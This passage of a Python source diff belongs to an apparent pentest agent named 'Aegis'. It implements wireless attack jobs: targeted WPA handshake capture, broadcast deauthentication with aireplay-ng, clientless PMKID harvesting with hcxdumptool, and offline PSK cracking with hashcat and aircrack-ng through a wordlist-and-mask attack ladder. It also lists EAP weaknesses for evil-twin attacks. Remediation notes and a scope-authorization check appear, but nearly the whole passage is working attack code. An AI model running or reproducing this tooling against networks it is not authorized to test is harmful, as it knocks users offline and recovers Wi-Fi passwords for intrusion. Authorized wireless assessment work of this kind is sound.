buf.write(f' ⚠ Critical infrastructure on hidden WiFi — '
|
|
1150
|
+
f'SSID hiding provides no security, trivially discovered\n')
|
|
1151
|
+
elif risk == 'HIGH':
|
|
1152
|
+
buf.write(f' ⚠ Hidden + weak/no encryption — immediate risk\n')
|
|
1153
|
+
buf.write('\n')
|
|
1154
|
+
|
|
1155
|
+
if hidden_nets:
|
|
1156
|
+
buf.write('[*] Remediation:\n')
|
|
1157
|
+
buf.write(' • Hidden SSIDs provide ZERO security — they are trivially '
|
|
1158
|
+
'discovered via monitor mode\n')
|
|
1159
|
+
buf.write(' • Critical infrastructure (ATM/CCTV/SCADA/POS) should use '
|
|
1160
|
+
'WPA3-Enterprise + RADIUS + MAC filtering + WIDS\n')
|
|
1161
|
+
buf.write(' • Segment IoT/CCTV onto isolated VLANs with no internet egress\n')
|
|
1162
|
+
buf.write(' • Deploy Wireless IDS (WIDS) to detect unauthorized scanning\n')
|
|
1163
|
+
buf.write(' • Consider wired connections for critical infrastructure\n')
|
|
1164
|
+
buf.flush()
|
|
1165
|
+
|
|
1166
|
+
# Cleanup temp files
|
|
1167
|
+
for suffix in ['-01.csv', '-01.cap', '-01.kismet.csv', '-01.kismet.netxml',
|
|
1168
|
+
'-01.log.csv']:
|
|
1169
|
+
try:
|
|
1170
|
+
os.remove(csv_prefix + suffix)
|
|
1171
|
+
except FileNotFoundError:
|
|
1172
|
+
pass
|
|
1173
|
+
|
|
1174
|
+
client.send_result(jid, {
|
|
1175
|
+
'total_networks': len(networks),
|
|
1176
|
+
'hidden_networks': len(hidden_nets),
|
|
1177
|
+
'critical_infra_networks': len(infra_nets),
|
|
1178
|
+
'critical_infra_clients': len(infra_clients),
|
|
1179
|
+
'hidden_findings': risk_findings,
|
|
1180
|
+
'revealed_ssids': revealed,
|
|
1181
|
+
'visible_networks': [{'bssid': n['bssid'], 'ssid': n['ssid'],
|
|
1182
|
+
'channel': n['channel'], 'encryption': n['encryption'],
|
|
1183
|
+
'vendor': n['vendor']} for n in visible_nets[:100]],
|
|
1184
|
+
'scan_duration_s': duration,
|
|
1185
|
+
})
|
|
1186
|
+
|
|
1187
|
+
finally:
|
|
1188
|
+
_exit_monitor_mode(mon_iface, original_iface, buf)
|
|
1189
|
+
|
|
1190
|
+
|
|
1191
|
+
def execute_handshake_capture(client: AegisNodeClient, job: dict):
|
|
1192
|
+
"""Capture WPA/WPA2 4-way handshake for offline cracking.
|
|
1193
|
+
|
|
1194
|
+
Monitors the target AP's channel, optionally sends deauth to force
|
|
1195
|
+
reconnection, and captures the EAPOL handshake frames.
|
|
1196
|
+
"""
|
|
1197
|
+
jid = job['job_id']
|
|
1198
|
+
targets = job.get('targets', {})
|
|
1199
|
+
target_bssid = targets.get('bssid', '')
|
|
1200
|
+
target_channel = str(targets.get('channel', ''))
|
|
1201
|
+
params = job.get('parameters', {})
|
|
1202
|
+
iface = params.get('interface', 'wlan0')
|
|
1203
|
+
duration = min(params.get('duration', 60), 300)
|
|
1204
|
+
send_deauth = params.get('deauth', True)
|
|
1205
|
+
deauth_count = min(params.get('deauth_count', 5), 20)
|
|
1206
|
+
buf = OutputBuffer(client, jid)
|
|
1207
|
+
original_iface = iface
|
|
1208
|
+
|
|
1209
|
+
if not target_bssid:
|
|
1210
|
+
client.send_error(jid, 'No target BSSID specified')
|
|
1211
|
+
return
|
|
1212
|
+
|
|
1213
|
+
buf.write('=' * 60 + '\n')
|
|
1214
|
+
buf.write('[*] WPA HANDSHAKE CAPTURE\n')
|
|
1215
|
+
buf.write(f' Target: {target_bssid} Channel: {target_channel or "auto"}\n')
|
|
1216
|
+
buf.write(f' Duration: {duration}s Deauth: {"yes" if send_deauth else "no"}\n')
|
|
1217
|
+
buf.write('=' * 60 + '\n\n')
|
|
1218
|
+
|
|
1219
|
+
mon_iface = _enter_monitor_mode(iface, buf)
|
|
1220
|
+
if not mon_iface:
|
|
1221
|
+
client.send_error(jid, 'Failed to enter monitor mode')
|
|
1222
|
+
return
|
|
1223
|
+
|
|
1224
|
+
try:
|
|
1225
|
+
cap_prefix = f'/tmp/aegis_hs_{jid}'
|
|
1226
|
+
airodump_cmd = ['airodump-ng', mon_iface, '-w', cap_prefix,
|
|
1227
|
+
'--output-format', 'cap,csv', '--bssid', target_bssid]
|
|
1228
|
+
if target_channel:
|
|
1229
|
+
airodump_cmd += ['-c', target_channel]
|
|
1230
|
+
|
|
1231
|
+
buf.write('[*] Starting targeted capture...\n')
|
|
1232
|
+
airodump_proc = subprocess.Popen(
|
|
1233
|
+
(['sudo'] if os.geteuid() != 0 else []) + airodump_cmd,
|
|
1234
|
+
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
|
|
1235
|
+
)
|
|
1236
|
+
time.sleep(5)
|
|
1237
|
+
|
|
1238
|
+
# Send deauth to force reconnection
|
|
1239
|
+
if send_deauth:
|
|
1240
|
+
buf.write(f'[*] Sending {deauth_count} deauth frames to {target_bssid}...\n')
|
|
1241
|
+
deauth_cmd = ['aireplay-ng', '--deauth', str(deauth_count),
|
|
1242
|
+
'-a', target_bssid, mon_iface]
|
|
1243
|
+
code, out = _exec_cmd(buf, deauth_cmd, timeout=30, sudo=True)
|
|
1244
|
+
if code == 0:
|
|
1245
|
+
buf.write('[+] Deauth sent — waiting for client reconnection...\n')
|
|
1246
|
+
else:
|
|
1247
|
+
buf.write(f'[-] Deauth failed (exit {code}), continuing passive capture...\n')
|
|
1248
|
+
|
|
1249
|
+
remaining = max(duration - 5, 10)
|
|
1250
|
+
buf.write(f'[*] Capturing for {remaining}s more...\n')
|
|
1251
|
+
time.sleep(remaining)
|
|
1252
|
+
airodump_proc.terminate()
|
|
1253
|
+
try:
|
|
1254
|
+
airodump_proc.wait(timeout=10)
|
|
1255
|
+
except subprocess.TimeoutExpired:
|
|
1256
|
+
airodump_proc.kill()
|
|
1257
|
+
|
|
1258
|
+
# Check for handshake in cap file
|
|
1259
|
+
cap_file = cap_prefix + '-01.cap'
|
|
1260
|
+
handshake_found = False
|
|
1261
|
+
|
|
1262
|
+
if os.path.exists(cap_file):
|
|
1263
|
+
code, out = _run_quiet(['aircrack-ng', cap_file], timeout=15)
|
|
1264
|
+
handshake_found = 'handshake' in out.lower() or '1 handshake' in out.lower()
|
|
1265
|
+
if handshake_found:
|
|
1266
|
+
buf.write(f'\n[+] ✓ HANDSHAKE CAPTURED for {target_bssid}\n')
|
|
1267
|
+
buf.write(f' File: {cap_file}\n')
|
|
1268
|
+
buf.write(' This can be cracked offline with hashcat/aircrack-ng\n')
|
|
1269
|
+
else:
|
|
1270
|
+
buf.write(f'\n[-] No handshake captured in {duration}s\n')
|
|
1271
|
+
buf.write(' Try: longer duration, closer proximity, or wait for '
|
|
1272
|
+
'client activity\n')
|
|
1273
|
+
else:
|
|
1274
|
+
buf.write('[-] No capture file generated\n')
|
|
1275
|
+
buf.flush()
|
|
1276
|
+
|
|
1277
|
+
client.send_result(jid, {
|
|
1278
|
+
'target_bssid': target_bssid,
|
|
1279
|
+
'handshake_captured': handshake_found,
|
|
1280
|
+
'capture_file': cap_file if os.path.exists(cap_file) else '',
|
|
1281
|
+
'deauth_sent': send_deauth,
|
|
1282
|
+
'duration_s': duration,
|
|
1283
|
+
})
|
|
1284
|
+
|
|
1285
|
+
finally:
|
|
1286
|
+
_exit_monitor_mode(mon_iface, original_iface, buf)
|
|
1287
|
+
|
|
1288
|
+
|
|
1289
|
+
def execute_pmkid_harvest(client: AegisNodeClient, job: dict):
|
|
1290
|
+
"""Harvest PMKID from AP without needing a connected client.
|
|
1291
|
+
|
|
1292
|
+
Uses hcxdumptool to request PMKID from the target AP. This is a clientless
|
|
1293
|
+
attack — works even when no clients are connected, making it ideal for
|
|
1294
|
+
hidden/isolated networks (ATMs, CCTV, etc.).
|
|
1295
|
+
"""
|
|
1296
|
+
jid = job['job_id']
|
|
1297
|
+
targets = job.get('targets', {})
|
|
1298
|
+
target_bssid = targets.get('bssid', '')
|
|
1299
|
+
params = job.get('parameters', {})
|
|
1300
|
+
iface = params.get('interface', 'wlan0')
|
|
1301
|
+
duration = min(params.get('duration', 60), 180)
|
|
1302
|
+
buf = OutputBuffer(client, jid)
|
|
1303
|
+
original_iface = iface
|
|
1304
|
+
|
|
1305
|
+
buf.write('=' * 60 + '\n')
|
|
1306
|
+
buf.write('[*] PMKID HARVEST (clientless attack)\n')
|
|
1307
|
+
if target_bssid:
|
|
1308
|
+
buf.write(f' Target: {target_bssid}\n')
|
|
1309
|
+
buf.write(f' Duration: {duration}s | Interface: {iface}\n')
|
|
1310
|
+
buf.write('=' * 60 + '\n\n')
|
|
1311
|
+
|
|
1312
|
+
# Check for hcxdumptool
|
|
1313
|
+
code, _ = _run_quiet(['which', 'hcxdumptool'])
|
|
1314
|
+
use_hcxdumptool = code == 0
|
|
1315
|
+
code_hcxpcap, _ = _run_quiet(['which', 'hcxpcapngtool'])
|
|
1316
|
+
has_hcxpcapngtool = code_hcxpcap == 0
|
|
1317
|
+
|
|
1318
|
+
if not use_hcxdumptool:
|
|
1319
|
+
buf.write('[!] hcxdumptool not found — falling back to hcxtools method\n')
|
|
1320
|
+
# Alternative: use airodump + wpa_supplicant PMKID grab
|
|
1321
|
+
code, _ = _run_quiet(['which', 'airodump-ng'])
|
|
1322
|
+
if code != 0:
|
|
1323
|
+
client.send_error(jid, 'Neither hcxdumptool nor airodump-ng available')
|
|
1324
|
+
return
|
|
1325
|
+
|
|
1326
|
+
mon_iface = _enter_monitor_mode(iface, buf)
|
|
1327
|
+
if not mon_iface:
|
|
1328
|
+
client.send_error(jid, 'Failed to enter monitor mode')
|
|
1329
|
+
return
|
|
1330
|
+
|
|
1331
|
+
try:
|
|
1332
|
+
pcapng_path = f'/tmp/aegis_pmkid_{jid}.pcapng'
|
|
1333
|
+
pmkid_count = 0
|
|
1334
|
+
|
|
1335
|
+
if use_hcxdumptool:
|
|
1336
|
+
# hcxdumptool sends Association Requests to solicit PMKID
|
|
1337
|
+
hcx_cmd = ['hcxdumptool', '-i', mon_iface, '-o', pcapng_path,
|
|
1338
|
+
'--enable_status=1']
|
|
1339
|
+
if target_bssid:
|
|
1340
|
+
filterlist = f'/tmp/aegis_pmkid_filter_{jid}.txt'
|
|
1341
|
+
with open(filterlist, 'w') as f:
|
|
1342
|
+
f.write(target_bssid.replace(':', '').lower() + '\n')
|
|
1343
|
+
hcx_cmd += ['--filterlist_ap=' + filterlist, '--filtermode=2']
|
|
1344
|
+
|
|
1345
|
+
buf.write(f'[*] Running hcxdumptool for {duration}s...\n')
|
|
1346
|
+
buf.write('[*] Sending association requests to solicit PMKID...\n')
|
|
1347
|
+
proc = subprocess.Popen(
|
|
1348
|
+
(['sudo'] if os.geteuid() != 0 else []) + hcx_cmd,
|
|
1349
|
+
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,
|
|
1350
|
+
)
|
|
1351
|
+
|
|
1352
|
+
start = time.time()
|
|
1353
|
+
while time.time() - start < duration and RUNNING:
|
|
1354
|
+
line = ''
|
|
1355
|
+
try:
|
|
1356
|
+
line = proc.stdout.readline()
|
|
1357
|
+
except Exception:
|
|
1358
|
+
break
|
|
1359
|
+
if line:
|
|
1360
|
+
buf.write(line)
|
|
1361
|
+
if 'pmkid' in line.lower() or 'PMKID' in line:
|
|
1362
|
+
pmkid_count += 1
|
|
1363
|
+
if proc.poll() is not None:
|
|
1364
|
+
break
|
|
1365
|
+
|
|
1366
|
+
proc.terminate()
|
|
1367
|
+
try:
|
|
1368
|
+
proc.wait(timeout=10)
|
|
1369
|
+
except subprocess.TimeoutExpired:
|
|
1370
|
+
proc.kill()
|
|
1371
|
+
|
|
1372
|
+
# Convert to hashcat format
|
|
1373
|
+
if has_hcxpcapngtool and os.path.exists(pcapng_path):
|
|
1374
|
+
hash_file = f'/tmp/aegis_pmkid_{jid}.22000'
|
|
1375
|
+
code, out = _run_quiet(['hcxpcapngtool', '-o', hash_file, pcapng_path],
|
|
1376
|
+
timeout=30)
|
|
1377
|
+
if code == 0 and os.path.exists(hash_file):
|
|
1378
|
+
with open(hash_file) as f:
|
|
1379
|
+
pmkid_count = sum(1 for line in f if line.strip())
|
|
1380
|
+
buf.write(f'\n[+] Extracted {pmkid_count} PMKID hash(es) → {hash_file}\n')
|
|
1381
|
+
buf.write(' Crack with: hashcat -m 22000 -a 0 '
|
|
1382
|
+
f'{hash_file} wordlist.txt\n')
|
|
1383
|
+
else:
|
|
1384
|
+
buf.write('\n[-] No PMKID extracted from capture\n')
|
|
1385
|
+
else:
|
|
1386
|
+
# Fallback: airodump passive capture for EAPOL/PMKID
|
|
1387
|
+
buf.write('[*] Passive PMKID capture via airodump-ng...\n')
|
|
1388
|
+
cap_prefix = f'/tmp/aegis_pmkid_{jid}'
|
|
1389
|
+
airodump_cmd = ['airodump-ng', mon_iface, '-w', cap_prefix,
|
|
1390
|
+
'--output-format', 'cap']
|
|
1391
|
+
if target_bssid:
|
|
1392
|
+
airodump_cmd += ['--bssid', target_bssid]
|
|
1393
|
+
proc = subprocess.Popen(
|
|
1394
|
+
(['sudo'] if os.geteuid() != 0 else []) + airodump_cmd,
|
|
1395
|
+
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
|
|
1396
|
+
)
|
|
1397
|
+
time.sleep(duration)
|
|
1398
|
+
proc.terminate()
|
|
1399
|
+
try:
|
|
1400
|
+
proc.wait(timeout=10)
|
|
1401
|
+
except subprocess.TimeoutExpired:
|
|
1402
|
+
proc.kill()
|
|
1403
|
+
|
|
1404
|
+
cap_file = cap_prefix + '-01.cap'
|
|
1405
|
+
if has_hcxpcapngtool and os.path.exists(cap_file):
|
|
1406
|
+
hash_file = f'/tmp/aegis_pmkid_{jid}.22000'
|
|
1407
|
+
code, _ = _run_quiet(['hcxpcapngtool', '-o', hash_file, cap_file],
|
|
1408
|
+
timeout=30)
|
|
1409
|
+
if code == 0 and os.path.exists(hash_file):
|
|
1410
|
+
with open(hash_file) as f:
|
|
1411
|
+
pmkid_count = sum(1 for line in f if line.strip())
|
|
1412
|
+
buf.write(f'\n[+] Extracted {pmkid_count} PMKID hash(es)\n')
|
|
1413
|
+
pcapng_path = cap_file
|
|
1414
|
+
|
|
1415
|
+
vendor = _oui_lookup(target_bssid) if target_bssid else ''
|
|
1416
|
+
if vendor:
|
|
1417
|
+
buf.write(f'\n[*] Target vendor: {vendor}\n')
|
|
1418
|
+
buf.write(' ⚠ PMKID from critical infrastructure = PSK reuse risk\n')
|
|
1419
|
+
|
|
1420
|
+
if pmkid_count > 0:
|
|
1421
|
+
buf.write(f'\n[+] {pmkid_count} PMKID(s) harvested — offline cracking possible\n')
|
|
1422
|
+
else:
|
|
1423
|
+
buf.write('\n[-] No PMKID obtained — AP may not support PMKID or uses WPA3-SAE\n')
|
|
1424
|
+
buf.flush()
|
|
1425
|
+
|
|
1426
|
+
client.send_result(jid, {
|
|
1427
|
+
'target_bssid': target_bssid,
|
|
1428
|
+
'pmkid_count': pmkid_count,
|
|
1429
|
+
'capture_file': pcapng_path if os.path.exists(pcapng_path) else '',
|
|
1430
|
+
'vendor': vendor,
|
|
1431
|
+
'duration_s': duration,
|
|
1432
|
+
})
|
|
1433
|
+
|
|
1434
|
+
finally:
|
|
1435
|
+
_exit_monitor_mode(mon_iface, original_iface, buf)
|
|
1436
|
+
|
|
1437
|
+
|
|
1438
|
+
def execute_deauth_capture(client: AegisNodeClient, job: dict):
|
|
1439
|
+
"""Deauth + capture: disconnect clients and capture reconnection traffic.
|
|
1440
|
+
|
|
1441
|
+
This is the aggressive variant — sends sustained deauth frames to a target AP.
|
|
1442
|
+
Requires explicit scope authorization (wireless_deauth_allowed).
|
|
1443
|
+
"""
|
|
1444
|
+
jid = job['job_id']
|
|
1445
|
+
targets = job.get('targets', {})
|
|
1446
|
+
target_bssid = targets.get('bssid', '')
|
|
1447
|
+
target_client = targets.get('client_mac', '')
|
|
1448
|
+
params = job.get('parameters', {})
|
|
1449
|
+
iface = params.get('interface', 'wlan0')
|
|
1450
|
+
duration = min(params.get('duration', 30), 120)
|
|
1451
|
+
deauth_count = min(params.get('deauth_count', 10), 50)
|
|
1452
|
+
buf = OutputBuffer(client, jid)
|
|
1453
|
+
original_iface = iface
|
|
1454
|
+
|
|
1455
|
+
if not target_bssid:
|
|
1456
|
+
client.send_error(jid, 'No target BSSID specified')
|
|
1457
|
+
return
|
|
1458
|
+
|
|
1459
|
+
buf.write('=' * 60 + '\n')
|
|
1460
|
+
buf.write('[*] DEAUTH + CAPTURE (scope-authorized)\n')
|
|
1461
|
+
buf.write(f' AP: {target_bssid}\n')
|
|
1462
|
+
if target_client:
|
|
1463
|
+
buf.write(f' Client: {target_client}\n')
|
|
1464
|
+
else:
|
|
1465
|
+
buf.write(' Client: broadcast (all clients)\n')
|
|
1466
|
+
buf.write(f' Deauth frames: {deauth_count} Duration: {duration}s\n')
|
|
1467
|
+
buf.write('=' * 60 + '\n\n')
|
|
1468
|
+
|
|
1469
|
+
mon_iface = _enter_monitor_mode(iface, buf)
|
|
1470
|
+
if not mon_iface:
|
|
1471
|
+
client.send_error(jid, 'Failed to enter monitor mode')
|
|
1472
|
+
return
|
|
1473
|
+
|
|
1474
|
+
try:
|
|
1475
|
+
# Start capture in background
|
|
1476
|
+
cap_prefix = f'/tmp/aegis_deauth_{jid}'
|
|
1477
|
+
channel = str(targets.get('channel', ''))
|
|
1478
|
+
airodump_cmd = ['airodump-ng', mon_iface, '-w', cap_prefix,
|
|
1479
|
+
'--output-format', 'cap', '--bssid', target_bssid]
|
|
1480
|
+
if channel:
|
|
1481
|
+
airodump_cmd += ['-c', channel]
|
|
1482
|
+
|
|
1483
|
+
buf.write('[*] Starting background capture...\n')
|
|
1484
|
+
capture_proc = subprocess.Popen(
|
|
1485
|
+
(['sudo'] if os.geteuid() != 0 else []) + airodump_cmd,
|
|
1486
|
+
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True,
|
|
1487
|
+
)
|
|
1488
|
+
time.sleep(3)
|
|
1489
|
+
|
|
1490
|
+
# Send deauth
|
|
1491
|
+
deauth_cmd = ['aireplay-ng', '--deauth', str(deauth_count), '-a', target_bssid]
|
|
1492
|
+
if target_client:
|
|
1493
|
+
deauth_cmd += ['-c', target_client]
|
|
1494
|
+
deauth_cmd.append(mon_iface)
|
|
1495
|
+
|
|
1496
|
+
buf.write(f'[*] Sending {deauth_count} deauth frames...\n')
|
|
1497
|
+
code, out = _exec_cmd(buf, deauth_cmd, timeout=60, sudo=True)
|
|
1498
|
+
|
|
1499
|
+
remaining = max(duration - 10, 5)
|
|
1500
|
+
buf.write(f'[*] Capturing reconnection traffic for {remaining}s...\n')
|
|
1501
|
+
time.sleep(remaining)
|
|
1502
|
+
|
|
1503
|
+
capture_proc.terminate()
|
|
1504
|
+
try:
|
|
1505
|
+
capture_proc.wait(timeout=10)
|
|
1506
|
+
except subprocess.TimeoutExpired:
|
|
1507
|
+
capture_proc.kill()
|
|
1508
|
+
|
|
1509
|
+
cap_file = cap_prefix + '-01.cap'
|
|
1510
|
+
handshake_found = False
|
|
1511
|
+
if os.path.exists(cap_file):
|
|
1512
|
+
code, check = _run_quiet(['aircrack-ng', cap_file], timeout=15)
|
|
1513
|
+
handshake_found = 'handshake' in check.lower()
|
|
1514
|
+
if handshake_found:
|
|
1515
|
+
buf.write(f'\n[+] ✓ HANDSHAKE CAPTURED via deauth\n')
|
|
1516
|
+
buf.write(f' File: {cap_file}\n')
|
|
1517
|
+
else:
|
|
1518
|
+
buf.write('\n[-] No handshake in captured traffic\n')
|
|
1519
|
+
buf.flush()
|
|
1520
|
+
|
|
1521
|
+
client.send_result(jid, {
|
|
1522
|
+
'target_bssid': target_bssid,
|
|
1523
|
+
'target_client': target_client or 'broadcast',
|
|
1524
|
+
'deauth_count': deauth_count,
|
|
1525
|
+
'handshake_captured': handshake_found,
|
|
1526
|
+
'capture_file': cap_file if os.path.exists(cap_file) else '',
|
|
1527
|
+
})
|
|
1528
|
+
|
|
1529
|
+
finally:
|
|
1530
|
+
_exit_monitor_mode(mon_iface, original_iface, buf)
|
|
1531
|
+
|
|
1532
|
+
|
|
1533
|
+
# ── Job executors (P3: crack + report) ───────────────────────────────────
|
|
1534
|
+
|
|
1535
|
+
# Attack ladder: cheapest first. Most real-world PSKs fall to one of these.
|
|
1536
|
+
CRACK_ATTACKS = [
|
|
1537
|
+
('rockyou', '-a 0', '/usr/share/wordlists/rockyou.txt'),
|
|
1538
|
+
('digits-8', '-a 3', '?d?d?d?d?d?d?d?d'),
|
|
1539
|
+
('digits-10', '-a 3', '?d?d?d?d?d?d?d?d?d?d'),
|
|
1540
|
+
('lower-8', '-a 3', '?l?l?l?l?l?l?l?l'),
|
|
1541
|
+
]
|
|
1542
|
+
|
|
1543
|
+
|
|
1544
|
+
def _parse_potfile(path: str) -> list[dict]:
|
|
1545
|
+
"""Parse hashcat .potfile into [{network_id, psk}]."""
|
|
1546
|
+
creds = []
|
|
1547
|
+
try:
|
|
1548
|
+
with open(path) as f:
|
|
1549
|
+
for line in f:
|
|
1550
|
+
line = line.strip()
|
|
1551
|
+
if not line or line.startswith('#'):
|
|
1552
|
+
continue
|
|
1553
|
+
# Format: hash:password or WPA*...:password
|
|
1554
|
+
parts = line.rsplit(':', 1)
|
|
1555
|
+
if len(parts) == 2:
|
|
1556
|
+
creds.append({
|
|
1557
|
+
'hash_prefix': parts[0][:60],
|
|
1558
|
+
'psk': parts[1],
|
|
1559
|
+
})
|
|
1560
|
+
except FileNotFoundError:
|
|
1561
|
+
pass
|
|
1562
|
+
return creds
|
|
1563
|
+
|
|
1564
|
+
|
|
1565
|
+
def execute_crack(client: AegisNodeClient, job: dict):
|
|
1566
|
+
"""Offline PSK cracking of captured handshakes/PMKIDs.
|
|
1567
|
+
|
|
1568
|
+
Takes a hash file (hashcat mode 22000) and runs the attack ladder.
|
|
1569
|
+
The agent runs on the operator's Kali machine, so hashcat/aircrack-ng
|
|
1570
|
+
execute directly (no Docker needed).
|
|
1571
|
+
"""
|
|
1572
|
+
jid = job['job_id']
|
|
1573
|
+
targets = job.get('targets', {})
|
|
1574
|
+
hash_file = targets.get('hash_file', '')
|
|
1575
|
+
capture_file = targets.get('capture_file', '')
|
|
1576
|
+
params = job.get('parameters', {})
|
|
1577
|
+
custom_wordlist = params.get('wordlist', '')
|
|
1578
|
+
buf = OutputBuffer(client, jid)
|
|
1579
|
+
|
|
1580
|
+
buf.write('=' * 60 + '\n')
|
|
1581
|
+
buf.write('[*] OFFLINE PSK CRACK\n')
|
|
1582
|
+
buf.write('=' * 60 + '\n\n')
|
|
1583
|
+
|
|
1584
|
+
# Step 1: Resolve or convert to hashcat 22000 format
|
|
1585
|
+
if hash_file and os.path.exists(hash_file):
|
|
1586
|
+
buf.write(f'[*] Using existing hash file: {hash_file}\n')
|
|
1587
|
+
elif capture_file and os.path.exists(capture_file):
|
|
1588
|
+
buf.write(f'[*] Converting capture to hashcat format...\n')
|
|
1589
|
+
hash_file = capture_file.rsplit('.', 1)[0] + '.22000'
|
|
1590
|
+
code, out = _run_quiet(['hcxpcapngtool', '-o', hash_file, capture_file], timeout=60)
|
|
1591
|
+
if code != 0 or not os.path.exists(hash_file):
|
|
1592
|
+
# Fallback: try aircrack-ng directly
|
|
1593
|
+
buf.write('[-] hcxpcapngtool failed, will try aircrack-ng path\n')
|
|
1594
|
+
hash_file = ''
|
|
1595
|
+
else:
|
|
1596
|
+
client.send_error(jid, 'No hash_file or capture_file specified')
|
|
1597
|
+
return
|
|
1598
|
+
|
|
1599
|
+
attempts = []
|
|
1600
|
+
cracked = False
|
|
1601
|
+
credentials = []
|
|
1602
|
+
potfile = f'/tmp/aegis_crack_{jid}.pot'
|
|
1603
|
+
|
|
1604
|
+
# Step 2: Try hashcat if we have a .22000 file
|
|
1605
|
+
if hash_file and os.path.exists(hash_file):
|
|
1606
|
+
# Check for hashcat
|
|
1607
|
+
has_hashcat, _ = _run_quiet(['which', 'hashcat'])
|
|
1608
|
+
|
|
1609
|
+
if has_hashcat == 0:
|
|
1610
|
+
ladder = list(CRACK_ATTACKS)
|
|
1611
|
+
if custom_wordlist and os.path.exists(custom_wordlist):
|
|
1612
|
+
ladder.insert(0, ('custom-wordlist', '-a 0', custom_wordlist))
|
|
1613
|
+
|
|
1614
|
+
# Check if rockyou exists, skip if not
|
|
1615
|
+
ladder = [(l, m, w) for l, m, w in ladder
|
|
1616
|
+
if not w.startswith('/') or os.path.exists(w)]
|
|
1617
|
+
|
|
1618
|
+
for label, mode, mask_or_wl in ladder:
|
|
1619
|
+
if cracked:
|
|
1620
|
+
break
|
|
1621
|
+
buf.write(f'\n[*] Attack: {label} ({mode} {mask_or_wl})\n')
|
|
1622
|
+
cmd = ['hashcat', '-m', '22000', mode, '-D', '1',
|
|
1623
|
+
'--potfile-path', potfile, '--quiet',
|
|
1624
|
+
hash_file, mask_or_wl]
|
|
1625
|
+
code, out = _exec_cmd(buf, cmd, timeout=3600, sudo=False)
|
|
1626
|
+
attempts.append({
|
|
1627
|
+
'attack': label, 'mode': mode,
|
|
1628
|
+
'result': 'ran' if code in (0, 1) else f'exit-{code}',
|
|
1629
|
+
'output': out[-500:] if out else '',
|
|
1630
|
+
})
|
|
1631
|
+
|
|
1632
|
+
# Check potfile
|
|
1633
|
+
creds = _parse_potfile(potfile)
|
|
1634
|
+
if creds:
|
|
1635
|
+
cracked = True
|
|
1636
|
+
credentials = creds
|
|
1637
|
+
buf.write(f'\n[+] ✓ PSK RECOVERED via {label}!\n')
|
|
1638
|
+
for c in creds:
|
|
1639
|
+
buf.write(f' PSK: {c["psk"]}\n')
|
|
1640
|
+
break
|
|
1641
|
+
else:
|
|
1642
|
+
buf.write(f' [-] No crack with {label}\n')
|
|
1643
|
+
else:
|
|
1644
|
+
buf.write('[!] hashcat not available\n')
|
|
1645
|
+
|
|
1646
|
+
# Step 3: Fallback to aircrack-ng for .cap files
|
|
1647
|
+
if not cracked and capture_file and os.path.exists(capture_file):
|
|
1648
|
+
has_aircrack, _ = _run_quiet(['which', 'aircrack-ng'])
|
|
1649
|
+
if has_aircrack == 0:
|
|
1650
|
+
wordlists = ['/usr/share/wordlists/rockyou.txt']
|
|
1651
|
+
if custom_wordlist and os.path.exists(custom_wordlist):
|
|
1652
|
+
wordlists.insert(0, custom_wordlist)
|
|
1653
|
+
|
|
1654
|
+
for wl in wordlists:
|
|
1655
|
+
if not os.path.exists(wl):
|
|
1656
|
+
continue
|
|
1657
|
+
buf.write(f'\n[*] aircrack-ng with {os.path.basename(wl)}...\n')
|
|
1658
|
+
code, out = _exec_cmd(buf, ['aircrack-ng', '-w', wl, capture_file],
|
|
1659
|
+
timeout=3600)
|
|
1660
|
+
attempts.append({
|
|
1661
|
+
'attack': f'aircrack-{os.path.basename(wl)}',
|
|
1662
|
+
'result': 'ran',
|
|
1663
|
+
'output': out[-500:] if out else '',
|
|
1664
|
+
})
|
|
1665
|
+
|
|
1666
|
+
if 'KEY FOUND!' in out:
|
|
1667
|
+
cracked = True
|
|
1668
|
+
m = re.search(r'KEY FOUND!\s*\[\s*(.+?)\s*\]', out)
|
|
1669
|
+
if m:
|
|
1670
|
+
credentials.append({'psk': m.group(1), 'hash_prefix': ''})
|
|
1671
|
+
buf.write(f'\n[+] ✓ PSK RECOVERED!\n')
|
|
1672
|
+
if m:
|
|
1673
|
+
buf.write(f' PSK: {m.group(1)}\n')
|
|
1674
|
+
break
|
|
1675
|
+
|
|
1676
|
+
buf.write('\n' + '=' * 60 + '\n')
|
|
1677
|
+
if cracked:
|
|
1678
|
+
buf.write('[+] CRACK SUCCESSFUL — PSK recovered\n')
|
|
1679
|
+
buf.write('[*] This is the proof-of-compromise finding.\n')
|
|
1680
|
+
buf.write('[*] Remediation: rotate the PSK immediately, enforce\n')
|
|
1681
|
+
buf.write(' WPA3-SAE where supported, use 20+ char passphrases\n')
|
|
1682
|
+
else:
|
|
1683
|
+
buf.write('[-] All attacks exhausted — PSK not recovered\n')
|
|
1684
|
+
buf.write('[*] Try a targeted wordlist or longer brute-force session\n')
|
|
1685
|
+
buf.write('=' * 60 + '\n')
|
|
1686
|
+
buf.flush()
|
|
1687
|
+
|
|
1688
|
+
client.send_result(jid, {
|
|
1689
|
+
'cracked': cracked,
|
|
1690
|
+
'credentials': credentials,
|
|
1691
|
+
'attempts': attempts,
|
|
1692
|
+
'hash_file': hash_file or '',
|
|
1693
|
+
'capture_file': capture_file or '',
|
|
1694
|
+
})
|
|
1695
|
+
|
|
1696
|
+
|
|
1697
|
+
# ── P5: WPA Enterprise + Evil Twin ─────────────────────────────────────
|
|
1698
|
+
|
|
1699
|
+
EAP_TYPES = {
|
|
1700
|
+
1: 'Identity', 4: 'MD5-Challenge', 6: 'GTC', 13: 'TLS',
|
|
1701
|
+
17: 'LEAP', 21: 'TTLS', 25: 'PEAP', 43: 'FAST', 47: 'EAP-pwd',
|
|
1702
|
+
48: 'EKE', 52: 'TEAP', 55: 'EAP-NOOB',
|
|
1703
|
+
}
|
|
1704
|
+
|
|
1705
|
+
EAP_WEAKNESSES = {
|
|
1706
|
+
4: 'MD5-Challenge: no mutual auth, password hash crackable offline',
|
|
1707
|
+
6: 'GTC: plaintext token/password over inner tunnel (if no outer tunnel, exposed)',
|
|
1708
|
+
17: 'LEAP: MS-CHAPv1 based, trivially crackable with asleap',
|
|
1709
|
+
21: 'TTLS: check inner method — if PAP, credentials sent in cleartext inside tunnel',
|
|
1710
|
+
25: 'PEAP: if server cert not pinned, evil twin captures MSCHAPv2 hash',
|
|
1711
|
+
}
|
|
1712
|
+
|
|
1713
|
+
|
|
1714
|
+
